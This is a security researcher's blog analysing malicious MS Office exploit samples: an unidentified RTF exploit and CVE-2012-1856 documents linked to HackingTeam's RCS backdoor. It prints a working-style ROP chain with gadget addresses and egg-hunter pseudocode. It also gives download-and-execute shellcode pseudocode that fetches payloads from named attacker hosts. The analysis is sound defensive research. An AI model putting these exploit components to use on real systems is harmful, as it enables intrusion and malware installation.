NB: This blog post will be updated in the upcoming days with more information

Introduction

A few days before the publishing of this blog post I came across an unknown RTF exploit sample which I could not identify as being an exploit targeting a known vulnerability like CVE-2012-0158 or CVE-2014-1761. It turns out that this exploit sample has a far greater impact than most other ‘traditional’ memory corruption exploits targeting MS Office. Successful exploitation seems to be possible on all currently supported versions of MS Office up and including the MS15-022 patch.

ammendment.doc exploit sample

File name	ammendment.doc
File size	371.8 KB
File type	Rich Text Format data, unknown version
MD5	ae6b65ca7cbd4ca0ba86c6278c834547
First seen on VirusTotal	2015-08-04 07:29:17 UTC
Rerefences	VT, Malwr.com, Cryptam.com

The exploit sample analyzed in this blog post is an RTF file which contains 4 embedded objects. Each object has its own role in one of the stages of exploitation like: loading a non-aslr module, spraying the heap or triggering the vulnerability.

Object (In order of appearance)	Likely Role
otkloadr.WRAssembly.1	Loads “msvcr71.dll” module for ASLR bypass
Word.Document.12	Heap spray using ActiveX objects Used to store ROP chain and a 1st stage shellcode
Word.Document.12	Vulnerability trigger
Word.Document.12	Heap spray using ActiveX objects. Role to be determined

Configurations targeted

Several different configurations have been tested against the ammendment.doc sample and it turns out that this exploit is very universal. All currently supported versions of MS Office up to and including the MS15-022 patch seem vulnerable. Installations employing ForceASLR (like Office 2013 on Windows 8.1) do not seem vulnerable.

Configuration targeted
MS Word 2007 <= MS15-022
MS Word 2010 <= MS15-022
MS Word 2013 <= MS15-022

 

CVE classification

Up to this point it is unclear which vulnerability has been exploited by this exploit. The fact that this exploit is only able of dropping its payload on versions of office up to and including MS15-022 might indicate that the vulnerability exploited by this exploit was patched in MS15-033.

On the other hand, the appearance date of this sample could indicate that this is a sample of CVE-2015-1642, a vulnerability patched by Microsoft in August 2015. But this is just pure speculation.

VirusTotal and Cryptam are not able to provide any relevant information regarding the targeted vulnerability either.

Exploited vulnerability – to be completed

A high level analysis of the exploited vulnerability is planned for the near future.

 

ASLR bypass

A known technique is being used to bypass ASLR, making it possible to use hardcoded addresses of ROP gadgets. This technique has first been mentioned by Parvez Anwar back in June 2014 on greyhathacker.net. The exploits loads the otkloadr.dll library which contains the ProgID “otkloadr.WRAssembly.1”. This ProgID ensures that a “msvcr71.dll” library which is not compiled with the /DYNAMICBASE option will be loaded.

Heap spray

The heap spray used in the ammendment.doc sample is similar in nature as one that has been seen in exploits targeting CVE-2013-3906. In this case the activeX1.bin file is loaded 40 times when the sample is loaded.

 

Inside of the activeX1.bin file (MD5:23cc315702179b8552b702892e433801) two things can be found:

1. Padding containing 0x7C342404 dwords functioning as a RET-sled.
2. A ROP chain and first stage shellcode after every 0x20000 bytes. (16 repetitions in total)

ROP chain

The point at which the execution flow is taken over has not yet been identified, in the meanwhile only the part of the ROP chain responsible for marking memory as executable will be discussed.

After taking control over ESP (0x0900810) the execution flow will be redirected to the RET-sled located on the heap.

Due to the inaccuracy of the heap spray execution will end up in the RET-sled. Following the RET-sled, eventually the ROP chain responsible for marking memory as executable will be hit.

0x7c342404    # ret
0x7c3651eb    # pop ebp # ret
0x7c3651eb    # skip 4 bytes
0x7c372b02    # pop ebx # ret 
0x00000201    # 0x201 -> ebx 
0x7c344364    # pop edx # ret 
0x00000040    # 0x40 -> edx 
0x7c351a28    # pop ecx # ret 
0x7c390fc7    # &Writable location -> ecx
0x7c342e9e    # pop edi # ret 
0x7c34a40f    # ret -> edi 
0x7c3650dc    # pop esi # ret 
0x7c3415a3    # jmp dword ptr [eax] -> esi 
0x7c347f97    # pop eax # ret 
0x7c37a151    # ptr to &VirtualProtect() - 0x0EF
0x7c378c4d    # pushad # add al,0EFh # ret 
0x7c345c30    # push esp # ret

People with eye for detail might notice that this ROP chain looks very similar to chains generated by Mona.py. After the “push esp # ret” gadget the first stage shellcode will be executed.

 

Shellcode analysis

The exploit analyzed in this blog post contains an advanced multistage shellcode which decrypts and drops a backdoor and innocent looking bait.

The 1st stage of the shellcode functions as egg hunter and is used to prepare for the execution of the 2nd stage shellcode. Dropping the lure and backdoor happens in the encrypted 2nd stage shellcode.

1st stage

The 1st stage shellcode functions as an egg hunter and prepares the execution of the 2nd stage shellcode. Its main functionality includes:

• Locating the RTF file and 2nd stage shellcode in memory
• Moving the 2nd stage shellcode to a pre-allocated buffer
• Parsing data to the 2nd stage shellcode

Function addresses are retrieved by comparing the ROR-7 hashes of exported function names.

A disassembled version of this shellcode can be found on onlinedisassembler.com, A pseudocode equivalent of the 1st stage shellcode is available at the end of this blog post.

2nd stage

Dropping the actual backdoor happens in the 2nd stage shellcode. This 2nd stage shellcode is encrypted with a XOR-key of 0xfc to complicate shellcode detection based on signatures.

Commented assembly and pseudocode of both shellcodes will be added at a later point in time.

 

Lure

File size	371.8 KB
Author	RCE
Creation date	2015:07:28 12:10:00
File type	Microsoft Word 97-2003 Document
MD5	15b5ab180ab245057d8cd4fafc63febc
First seen on VirusTotal	2015-08-04 07:29:17 UTC
Rerefences	VT

After a successful exploitation a backdoor and an innocent looking document will be dropped. In this case the lure does not contain any specific target related information and only displays the sentence: “Hey……..”

 

Appendix

1st stage shellcode pseudocode

VirtualAlloc = rorExtractFunction(0x1EDE5967h, kernel32Base);
lpvBuffer = VirtualAlloc(0, 0x500000, 0x3000, 0x40);
funcArr = {0x0AC0A138E, 0x14B19C2, 0x9AA5F07Dh, 0x0};
{GetFileSize, CreateFileMappingA, MapViewOfFile} = rorExtractFunction(lpvBuffer, kernel32Base);
  
hFile = 0;
  
// Locate the start of the RTF file in memory
while (true) {
  do {
    hFile += 4;
    dFileSize = GetFileSize(hFile, 0);
  } while (dFileSize < 0xA000 || dFileSize > 0x200000);
  
  hFileMappingObject = CreateFileMappingA(hFile, 0, 2, 0, 0, 0);
      
  if (hFileMappingObject) {
    lpvFileView = MapViewOfFile(hFileMappingObject, 4, 0, 0, 0);
    if (lpvFileView) {
      if (&lpvFileView == "{\rt") {
        break;
      }
    }
  }
}
  
lpvFileView += 0x10000;
  
// Locate the encrypted 2nd stage shellcode preceded by the fefefefe fefefefe ffffffff tag
while (true) {	  
  do {
    lpvFileView += 4;
  } while (&lpvFileView != 0xFEFEFEFE);
	
  do {
    lpvFileView++;
  } while ((char*)lpvFileView == 0xFE);
	
  if (&lpvFileView == 0xFFFFFFFF) {
    scAddr = lpvBuffer + 0x1000;
    memcpy(lpvBuffer, lpvFileView + 4, 0x1000);
    scAddr(kernel32Base, lpvFileView, hFile, dFileSize, lpvBuffer);
  }
}

Part 1: Overview

Quite some time ago (more than a year before the HackingTeam leaks) I came across a number of interesting exploit samples that make use of CVE-2012-1856. With the recent HackingTeam leaks a number of connections can now be made between this vulnerability discovered by VUPEN and the usage of HackingTeam’s RCS backdoor.

CVE-2012-1856 is a use-after-free vulnerability in the ‘TabStrip’ ActiveX Control present in the ‘MSCOMCTL.OCX’ library. This vulnerability has first been discovered by Nicolas Joly of VUPEN and has been patched by Microsoft on 2012-08-14 in MS12-060. A weaponized exploit is being offered to customers of VUPEN:

In-depth technical analysis of the vulnerability and a fully functional
exploit including ASLR/DEP bypass are available through the VUPEN BAE
(Binary Analysis & Exploits) portal [http://seclists.org/bugtraq/2012/Sep/47]

Identified samples

The number of samples that seem to exploit the CVE-2012-1856 ‘TabStrip UAF’ appears to be limited. Even though no concrete statistics seem to be publically available, only a very limited amount of samples could be recovered from VirusTotal.

The following list contains an overview of the samples that could be identified as weaponized CVE-2012-1856 samples. More samples that trigger the CVE-2012-1856 vulnerability have been identified, although these samples did not result in an infected attempt when tested with Office 2007 and 2010. These samples are likely just PoCs.

Doc family – Possibly developed by an independent party

To begin with, two quite similar samples that are likely developed by a party not related to HT or VUPEN. These samples trigger the TabStrip UAF and contain a malicious executable, however an infection attempt could not be observed. These samples possibly use ROP gadgets from a library that was not present on any of the testing machines. The other identified samples use ROP gadgets present in the MSCOMCTL.OCX library.

These samples also do not seem to be as universal as the other identified weaponized exploits. A user first has to enable Macro’s before the TabStrip use-after-free can be triggered, this is not the case with the other samples.

Doc sample 1: China-Xi dan Amerika-Obama, Winnie the Pooh.doc

MD5	0a363f2f61bc2483d8cd85722328b804 (VT / cryptam)
First seen on VirusTotal	2013-07-14 09:12:45 UTC
Extracted executable using foremost (MD5)	acdbb0d5bea262396f83e53240941c6a (VT)
Lure	Indonesian article about Chinese censorship of Winnie the Pooh and Tigger

Doc sample 2 – Elise dropper

MD5	78761220af4d57c17e08f7d1bf72906e (VT / cryptam)
First seen on VirusTotal	2013-06-24 09:02:38 UTC
Extracted executable using foremost (MD5)	6631d67f8baedfc0a244a74cf1411057 (VT)
Lure	Conference of Philippine Air Force

---

XLS family

This family of samples uses an Excel file for exploiting CVE-2012-1856. These XLS samples have a certain key characteristics in common like for example:

• A shared creation time of 2010-07-28 08:30:50
• The same placement of ActiveX controls within the excel sheet
• Similar shellcode

XLS sample 1: document.xls – Hacking Team demo

MD5	c1289a1d9f8a3f4c17e4edac905020a8 (VT / cryptam)
First seen on VirusTotal	2015-07-07 16:13:39 UTC
Downloads payload from	hxxp://rcs-demo.hackingteam.it/246.exe

XLS sample 3: Reduced Prices.xls

MD5	49b5a24a4b7b8fffc5abb5584c8102a9 (VT / cryptam)
First seen on VirusTotal	2014-02-25 11:32:15 UTC
Downloads payload from	hxxp://prounion.mooo.com/files/wdlps32.exe
Last modified by	jl
Code Page	Windows Korean (Unified Hangul Code)
Lure	Pricelist of home appliances

Note: According to Scumware.org the file previously hosted at prounion.mooo.com/files/wdlps32.exe has an MD5 hash of b6021aadc9379c73bdc4ba55bbb6d4d2

XLS sample 4: test.xls

MD5	d9f61471d3460d33e27a0f5e15fd9af3 (VT / cryptam)
First seen on VirusTotal	2014-03-10 13:28:18 UTC
Downloads payload from	hxxp://avast-update.com/files/wdlps32.exe
Last modified by	jl
Code Page	Windows Korean (Unified Hangul Code)
Lure	List of companies located in North Korea

Note: According to Scumware.org the executable hosted at avast-update.com/files/wdlps32.exe was the same file as the one hosted at prounion.mooo.com/files/wdlps32.exe.

---

RTF sample – CVE-2012-0158 / CVE-2012-1856 combo-exploit

MD5	f0b1e810bb28bb98bafa9f2865a83d0f (VT / cryptam)
First seen on VirusTotal	2012-10-15 07:13:57 UTC
Downloads payload from	hxxp://www.l7steps.com/stage2
File Type	RTF
Creation date	2012-04-20 01:51:00
Default languages	French – France

Note: According to an email present in the Hacking Team archive the domain ‘l7steps.com’ (83.111.56.188) has been used as an RCS Collector.

---

Part 2a: Closer look at XLS sample 1 – Hacking Team demo

MD5	c1289a1d9f8a3f4c17e4edac905020a8 (VT / cryptam)
First seen on VirusTotal	2015-07-07 16:13:39 UTC
Downloads payload from	hxxp://rcs-demo.hackingteam.it/246.exe

This exploit sample is an Excel file which contains two ActiveX controls which are used to exploit CVE-2012-1856.

Configurations targeted

Only Excel 2007 installations before the MS12-027 patch seem to be targeted. No infected attempt or crash has been observed when other configurations were being tested.

OFFICE 2007 VERSION	TARGETED VULNERABILITY
MS12-027 not installed	CVE-2012-1856

CVE-2012-1856 exploitation + 1st stage shellcode

Exploiting this use-after-free vulnerability does not seem to be very trivial. However, the developer of this exploit has found a way to exploit this vulnerability without scripting (AS/JS/VBS), stack pivot or the use of a heap spray.

When Page Heap is enabled an access violation can be observed at a call dword ptr [ecx+8] instruction that can be controlled by the attacker.

Right before this controlled indirect call a push eax operation takes place. At this point eax contains a reference to the heap chunk (0x0360908c) that contains the 1st stage egg hunter shellcode. The address of this shellcode will thus be pushed on to the stack.

A ROP gadget at address 0x275bc6e0 is being called to redirect the execution flow. (The address 0x275bc6e0 is present as a byte sequence at the address 0x275b89a + 0x8 inside of the MSCOMCTL.OCX library.) This ROP gadget contains a pop esi instruction that will be used to pop the return address – pushed on to the stack by the call instruction – from the stack.

After popping the return address from the stack no further obstacles exists to gain code execution after the ret 0x275b instruction.

At the end of the ROP gadget instead of returning to the instruction following the indirect call the ROP gadget will return to the heap chunk controlled by the attacker.

By popping the return address created by the call dword ptr instruction from the stack and returning to the controlled heap chunk there is no need for a stack pivot.

After the execution flow has been redirected a 1st stage egg hunter shellcode is being executed to locate the main shellcode in memory. This egg hunter shellcode uses NtAccessCheckAndAuditAlarm  to locate the sequence of ‘0x90419041’ dwords preceding the main shellcode. The egg hunter used in this exploit is quite standard and only capable of performing 32 bit syscalls.

A fairly commented version of the egg hunter can be found on onlinedisassembler.com.

Main shellcode analysis

The main shellcode is preceded by a large byte sequence which functions as a tag for the egg hunter. This byte sequence consists of 64 repetitions of 0x41904190. The main shellcode is an unencrypted download&execute shellcode that uses GetProcAddress to retrieve the addresses of required functions.

The main behavior of the shellcode can be visualized using the following pseudocode:

// Extraction of the first function addresses happens using a loop.
// This has been left out in the pseudocode for simplicity.
CreateProcessA = GetProcAddress(kernel32, "CreateProcessA");
GetEnvironmentVariableA = GetProcAddress(kernel32, "GetEnvironmentVariableA");
ExitProcess = GetProcAddress(kernel32, "ExitProcess");
LoadLibraryA = GetProcAddress(kernel32, "LoadLibraryA");

LoadLibraryA("urlmon");
URLDownloadToFileA = GetProcAddress(urlmon, "URLDownloadToFileA");

GetEnvironmentVariableA("TEMP", &tmpFolder, 0xf8);
&tmpFolder += "\O1_YVt1.exe";

URLDownloadToFileA(0x0, &"hxxp://rcs-demo.hackingteam.it/246.exe", &tmpFolder, 0x0, 0x0)
CreateProcessA(&tmpFolder, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, &lpStartupInfo, &lpProcessInformation);
ExitProcess(0x0);

Part 2b: Closer look at CVE-2012-0158 / CVE-2012-1856 combo-exploit

MD5	f0b1e810bb28bb98bafa9f2865a83d0f (VT / cryptam)
First seen on VirusTotal	2012-10-15 07:13:57 UTC
Downloads payload from	hxxp://www.l7steps.com/stage2
File Type	RTF
Creation date	2012-04-20 01:51:00
Default languages	French – France

The second sample being analyzed is an RTF file which exploits CVE-2012-1856. This file contains 4 ActiveX controls, an analysis indicates that these ActiveX controls are used to exploit two separate vulnerabilities: CVE-2012-0158 and CVE-2012-1856

ActiveX Control (In order of appearance)	Likely Role
MSComctlLib.TabStrip.2	Used to store the main shellcode
MSComctlLib.TreeCtrl.2	CVE-2012-0158 trigger
MSComctlLib.TabStrip.2	CVE-2012-1856 trigger
MSComctlLib.Toolbar.2	Used to replace the heap chunk freed by CVE-2012-1856

The presence of a CVE-2012-0158 trigger in this sample is a strong indicator that the exploit code for this sample has been written after the MS12-027 patch. A creation date of 2012-04-20 helps in supporting this theory, even though timestamps of samples are not always the most reliable source of information.

The presence of French language settings could indicate an exploit author of French origin. Please note this could also be an attempt to mask the identity of the real exploit developer.

Configurations targeted

Depending on the installation of the MS12-027 patch CVE-2012-0158 or CVE-2012-1856 will be exploited. Only Office 2007 seems to be targeted.

Office 2007 version	Targeted vulnerability
MS12-027 not installed	CVE-2012-0158
MS12-027 installed	CVE-2012-1856

CVE-2012-0158 and 1st stage shellcode

The first vulnerability exploited in this sample is CVE-2012-0158, a stack-based buffer overflow affecting the TreeView and ListView ActiveX controls. This vulnerability is well-known for being heavily exploited in the wild by different actors

After taking control of the instruction pointer, code execution starts from the stack with a “push esp # ret 8” (0x275ef44a) ROP gadget. After pushing the stack pointer on to the stack execution will be redirected to stack memory storing the 1st stage shellcode.

Egg hunter

A 1st stage egg hunter shellcode is being executed to locate the main shellcode in memory. This egg hunter shellcode uses NtAccessCheckAndAuditAlarm to locate a sequence of ‘0x42904290’ dwords in front of the main shellcode. The egg hunter contains functionality to execute both the 32-bit and 64-bit syscall of NtAccessCheckAndAuditAlarm.

A fairly commented version of the egg hunter can be found on onlinedisassembler.com.

CVE-2012-1856 and code execution

If exploitation of the CVE-2012-0158 stack buffer overflow vulnerability did not occur an attempt at exploiting the CVE-2012-1856 ‘TabStrip’ use-after-free vulnerability takes place. (Please note that this attempt only seems to take place when the malicious document is being closed.)

Redirecting execution flow

Two ActiveX controls are being used to exploit the CVE-2012-1856 vulnerability. One of the TabStrip.2 controls and the Toolbar.2 control are crafted in such a way that the execution flow can be hijacked by the attacker at closure of the document. The freed heap chunk is being replaced by a byte sequence that is present multiple times in the Toolbar.2 control.

The execution flow can once again be hijacked at a call dword ptr [ecx+8] instruction. Right before this controlled indirect call the known push eax operation takes place. At this point eax points to the heap chunk (0x039e4654) that contains the 1st stage egg hunter shellcode and will thus be pushed on to the stack. Consequently a ROP gadget at address 0x275bb639 is being called using the previously mentioned call dword ptr [ecx+8]  instruction. (The value of 0x275bb639 is a legitimate byte sequence stored in the MSCOMCTL.OCX library at the address 0x27589c50 + 8.)

The ROP-gadget at address 0x275bb639 contains an indirect call (call dword ptr [eax+8]) instruction itself.

At this call dword ptr [eax+8]  instruction a 2nd ROP gadget located at the address 0x275cee48 is being called (The value 0x275cee48 is a legitimate byte sequence being stored in the MSCOMCTL.OCX library at the address 0x27588748 + 8)

After these nested indirect calls two return addresses and the address of the controlled heap chunk are stored on the stack.

This 2nd ROP-gadget located at address 0x275cee48 contains a ret 4 instruction, which allows the attacker to pop the first address from the stack as return address and will increase esp by an additional 4 bytes.

This behavior makes it possible for the 1st ROP gadget to return in to the heap chunk that is controlled by the attacker.

After returning from both gadgets the execution flow will be redirected to the heap chunk controlled by the attacker. (This address was originally pushed on the stack before the first call dword ptr instruction.)

The egg hunter used in the CVE-2012-1856 part of the sample is almost exactly the same as the egg hunter used in combination with the CVE-2012-0158 part of this exploit sample.

Main shellcode and payload

The main shellcode is preceded by a large byte sequence which functions as a tag for the egg hunter. This byte sequence consists of 128 repetitions of 0x42904290. This shellcode attempts to download another shellcode to memory and uses ROR-13 hashing to check retrieved function names. A disassembly of the main shellcode can once again be found on onlinedisassembler.com

The following functions are being resolved using ROR-13 hashing:

Function	ROR-13 hash
LoadLibraryA	0xec0e4e8e
VirtualAlloc	0x91afca54
InternetOpenA	57e84429
InternetOpenUrlA	7e0fed49
InternetReadFile	5fe348b8

The main behavior of the shellcode can be visualized using the following pseudocode:

LoadLibraryA("wininet");
lpBuffer = VirtualAlloc(0x0, 0x3000, 0x10000, 0x40);
hInternet = InternetOpenA(0x0, 0x0, 0x0, 0x0. 0x0)
hFile = InternetOpenUrlA(hInternet, &"hxxp://www.l7steps.com/stage2", 0x0, 0x0, 0x0, 0x0);
while (&numberOfBytesRead == 0x100) {
  InternetReadFile(hFile, lpBuffer, 0x100, &numberOfBytesRead);
  lpBuffer += 0x100;
}
jump lpBuffer;

The shellcode attempts to download a payload from from hxxp://www.l7steps.com/stage2. At time of writing this file was offline, although it is likely that this payload contained shellcode capable of dropping the actual backdoor.

Conclusion

It is plausible to assume that VUPEN’s CVE-2012-1856 has been used multiple times to drop HackingTeam’s RCS backdoor. At which scale is unknown, although this vulnerability does not seem to be as embraced by APT actors as for example CVE-2012-0158.

A number of similarities between the XLS samples and the RTF sample are noticeable despite the presence of different shellcodes:

• The same vulnerability is being exploited, which only seems to have been used in the wild at a limited scale.
• A comparable technique is being used to take over the execution flow at the controlled CALL DWORD PTR [ECX+8] instruction.
• The analyzed egg hunters increment in steps of 0x7c.
• The analyzed main shellcodes start with similar tag sequences.

Answering the question of which HackingTeam customers might have deployed the mentioned exploit samples is irrelevant for this analysis.

Acknowledgements

I would like to thank Edwin Engels and Mark Loman for providing samples and giving feedback on a part of this analysis.